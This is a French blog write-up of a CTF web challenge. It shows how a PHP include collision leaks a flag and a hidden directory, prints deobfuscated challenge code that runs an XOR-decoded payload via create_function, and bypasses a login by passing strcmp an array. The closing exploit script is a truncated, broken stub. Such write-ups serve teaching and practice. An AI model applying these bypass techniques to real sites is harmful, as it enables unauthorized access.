Alors le CTF IFSF est fini, et les writes-up commencent à faire apparition sur sites des concurrents alors pourquoi pas nous et en Français.
Alors avant tout j'ai participé à ce CTF avec Zenk-Security ! c’était un plaisir de le faire avec eux. Il y avait une super ambiance et un super dynamisme !
Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news
On provoque une collision en faisant :
index.php?organization&news
On obtient l'erreur suivante :
<b>Fatal error</b>: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in <b>/var/www/html/SECURITY_include_files_OBSCURITY/members.php</b> on line <b>5</b><br />On a là notre premier flag et un dossier.
En visitant ce dossier on tombe sur un .gz du fichier member.php (attention les yeux, il était tout encrypté)
grâce à tlk_ et var_dump() on a réussi a obtenir quelques choses de clair.
$se
=
$GLOBALS
[
"@@"
];
$s
=
filesize
(
$se
);
$f
=
fopen
(
$se
,
"r"
);
fseek
(
$f
,2794);
$ss
=
fread
(
$f
,
$s
-2794);
$Nv
=hash(
"sha512"
,md5(
$s
).md5(
$ss
));
$Nv
=
$Nv
.
$Nv
.
$Nv
;
$V
=
$GLOBALS
[
"xij"
]^
$Nv
;
if
(!preg_match(
"/[^\x20-\x7f]/"
,
$V
)){
$B
=create_function(
""
,
$V
);
@
$B
();
}
<?
function
auth(
$X
){
if
(!isset(
$_SESSION
[
"loggedIn"
])){
$_SESSION
[
"loggedIn"
]=true;
if
(@
$_GET
[
"pass"
]===
$X
[9])
echo
$X
[8];
else
{
echo
$X
[11];
ob_flush();
unset(
$_SESSION
[
"loggedIn"
]);
}
}
}
$j
=@
$_GET
[
"4kXI0N"
];
$f
=file(
"params.php"
);
if
(!@
strcmp
(
$j
,
"login"
)){
if
(
"login"
===
$_GET
[
"4kXI0N"
]){
echo
$f
[16];
}
else
{
auth(
$f
);
echo
$f
[5];
}
}
unset(
$GLOBALS
);
On doit passer par index.php pour que params soit bien load est non par le dossier.
On voit que si la fonction $_GET["4kXI0N"] vaut login la fonction auth() est appelé ! On l'a alors essayé de la manière suivante :
- http://208.64.122.29/?members&4kXI0N=login&pass=blah
On a eu un message "under construction"
Pour bypass le login on a fait de login un array en mettant :
- http://208.64.122.29/?members&&4kXI0N[]=login&pass=blah
Et la on a une erreur avec le flag n°2, "Wrong password" ... donc le login est bien bypass.
FLAG_2:
EJZ94374F4Z_ZEF43
Maintenant pour bypass le password on a trouvé ce paper qui nous a bien :
et tlk_ a pu coder ceci :
#!/usr/bin/env python # encoding: utf-8 """ sploit.py """ import httplib conn = reponse = print( ) if __name__ == '__main__':
Aucun commentaire:
Enregistrer un commentaire